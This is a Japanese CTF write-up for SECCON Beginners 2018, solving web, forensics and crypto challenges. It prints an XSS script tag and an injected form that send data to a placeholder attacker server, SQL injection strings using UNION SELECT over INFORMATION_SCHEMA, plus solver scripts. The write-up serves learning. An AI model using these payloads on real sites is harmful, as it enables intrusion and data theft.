Edited at

SECCON Beginners 2018 Write-up

実質公式 Write-up はこちら

SECCON Beginners CTF 2018 Write-up - Qiita

4r@r3㌠ というチームで個人参戦しました。忘れないうちに Write-up をメモしておきます。


■ Web: [Warmup] Greeting

管理者である admin のみが Flag を見ることができるページ。

Cookie から $username の値を設定しているので、 Cookie の name の値を admin にするだけ


■ Web: Gimme your comment

問い合わせ?の投稿と、それに対してコメントができるWebサービス。

投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」という回答が来て、その際に用いられるブラウザの UserAgent を求めるという問題。

投稿のタイトルとコメントは XSS できないが、投稿の本文が特にサニタイズされていないため XSS 可能。

例えば、以下のような本文で投稿すると、自分のサイトに対してリクエストを飛ばすことができる。

<script src="[Your Server]"></script>

なお、私は XSS する際にアクセスさせるサイトに RequestBin を用いている。サービス自体は終了してしまったが、OSS として公開されており簡単に heroku にデプロイできるのでオススメです。


■ Web: SECCON Goods

SECCON グッズの在庫状況がわかるサイト。

Vue.js が使われており、 init.js を見ると /items.php?minstock=0 にアクセスしているのがわかる。

/items.php?minstock=100 とすると 1 件も返ってこないが、 /items.php?minstock=100 or 1=1;-- とすると全件返ってくるため、SQLi できることがわかる。

あとは 普通に UNION を使って SQLi するだけ。

/items.php?minstock=100 union select table_schema, table_name, column_name, 1, 1 from INFORMATION_SCHEMA.COLUMNS;--

INFORMATION_SCHEMA から flag がありそうなテーブルを見つける。

[

...,
{
"id": "app",
"name": "flag",
"description": "flag",
"price": "1",
"stock": "1"
},
...
]

flag の取得

/items.php?minstock=0 union select flag, 1, 1, 1, 1 from flag;--


■ Web: Gimme your comment REVENGE

Gimme your comment と同じサイトで、フラグの取得条件も同じ。

ただし、 Contents Security Policy(CSP) が設定されているため、インラインの JavaScript を実行したり、外部オリジンからリソースを読み込むことができない。

かなり悩んだが、 worker の JavaScript のコードを読んでいたら 投稿すると向こうの管理者(?)から「投稿ありがとうございます。大変参考になりました。」というコメントが来る ことを思い出し、以下の本文でいけることに気づいた。

</form>

<form method="post" action="[Your Server]">

これなら CSP を回避しながら外部オリジンにリクエストを送ることができる。

Gimme your comment を解いている時は、コメント機能の存在意義や、なぜセッションハイジャックではなく UserAgent でいいのか疑問だったが、これで納得した。


■ Misc: [Warmup] plain mail

問題ファイルを Wireshark で開き、 Follow TCP Stream で眺めながら、Zip ファイルとそのパスワードを取得ししておしまい。


■ Misc: [Warmup] Welcome

問題文


フラグは公式IRCチャンネルのトピックにあります。



■ Misc: てけいさんえくすとりーむず

手計算と書いてあるがもちろん自動でやらせる。

import time

import socket

HOST = 'tekeisan-ekusutoriim.chall.beginners.seccon.jp'
PORT = 8690

def sock(remoteip, remoteport):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((remoteip,remoteport))
return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
start_time = time.time()
data = ''
while not data.endswith(delim):
data += f.read(1)
if time.time() - start_time > 3: break
return data

def main():
print 'nc %s %s' % (HOST, PORT)
s, f = sock(HOST, PORT)

# Skip initial data
for i in range(11):
result = read_until(f)
print result.strip()

for i in range(100):
result = read_until(f)
print result.strip()
result = read_until(f, '=')
response = str(eval(result[:-1]))
s.send(response + '\n')
print result.strip() + response

while True:
result = read_until(f)
if not result: break
print result.strip()

print 'finish.'

if __name__ == '__main__':
main()


■ Misc: Find the messages

ディスクイメージが渡されて、その中に隠されたメッセージを探す問題。

とりあえずマウントしてみる。

$ sudo fdisk -l -u disk.img

Disk disk.img: 67 MB, 67108864 bytes
41 heads, 32 sectors/track, 99 cylinders, total 131072 sectors
Units = sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disk identifier: 0xad4d4cf0

Device Boot Start End Blocks Id System
disk.img1 2048 131071 64512 83 Linux

$ sudo mount -o loop,offset=$((2048*512)) disk.img /mnt
$ sudo ls -lhR /mnt
.:
total 15K
drwx------ 2 root root 12K 4月 28 02:03 lost+found
drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message1
drwxr-xr-x 2 root root 1.0K 4月 28 02:03 message2
drwxr-xr-x 2 root root 1.0K 4月 28 02:05 message3

./lost+found:
total 0

./message1:
total 1.0K
-rw-r--r-- 1 root root 24 4月 28 02:03 message_1_of_3.txt

./message2:
total 15M
-rw-r--r-- 1 root root 15M 4月 28 02:03 message_2_of_3.png

./message3:
total 0

マウントすると3つのディレクトリが見える。



  • message1/



    • message_1_of_3.txt : ただの Base64 エンコードされたテキスト




  • message2/



    • message_2_of_3.png : PNG だがファイルシグネチャの部分が壊れているので修正する




  • message3/


    • ファイルがないため、修復する必要があると予想



$ fls -r -o 2048 disk.img

d/d 11: lost+found
d/d 12: message1
+ r/r 13: message_1_of_3.txt
d/d 2017: message2
+ r/r 14: message_2_of_3.png
d/d 2018: message3
+ r/r * 15: message_3_of_3.pdf
d/d 16129: $OrphanFiles
$ icat -o 2048 disk.img 15 > message_3_of_3.pdf

これで復元できると思ったのだが、できなかったため binwalk を用いた。

$ binwalk disk.img

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
1048576 0x100000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9437184 0x900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
9700352 0x940400 PDF document, version: "1.3"
11535548 0xB004BC Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#
17829888 0x1101000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
26214400 0x1900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
42991616 0x2900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd
59768832 0x3900000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=a7abcf3e-71a7-498a-ac10-14c584bd84bd

$ binwalk --dd='pdf:message_3_of_3.pdf' disk.img


■ Crypto: [Warmup] Veni, vidi, vici

Zip ファイルが渡され、解凍すると 3 つのファイルが出てくる。

1つは ROT13、もう1つはシーザー暗号、最後の1つはアルファベットを上下反転させたもの。


■ Crypto: RSA is Power

RSA の公開鍵の情報が与えられ、暗号文を復号する問題。

RSA は n が素因数分解できれば復号可能なので、おもむろに FactorDB に突っ込んだところ素因数分解してくれた。

あとはやるだけ。


■ Crypto: Streaming

暗号化のスクリプトと暗号文が渡されて復号する問題。

暗号自体は XOR 暗号に seed がついてるだけ。しかも seed は mod 34607 したものなので、総当たりでできる。

class Stream:

A = 37423
B = 61781
C = 34607
def __init__(self, seed):
self.seed = seed % self.C

def __iter__(self):
return self

def next(self):
self.seed = (self.A * self.seed + self.B) % self.C
return self.seed

encrypted = ''
with open('encrypted', 'rb') as f:
while True:
value = f.read(1)
if value == '': break
encrypted += value

candidate = []
for seed in range(34607):
g = Stream(seed)
a = ord(encrypted[1]) * 256 + ord(encrypted[0])
# Check flag starts with 'ct'. Because flag format is 'ctf4b{...}'.
if a ^ g.next() == int('ct'.encode('hex'), 16):
candidate.append(seed)

for seed in candidate:
try:
flag = ''
g = Stream(seed)
for i in range(0, len(encrypted), 2):
a = ord(encrypted[i+1]) * 256 + ord(encrypted[i])
flag += hex(a ^ g.next())[2:].decode('hex')
print flag
except:
pass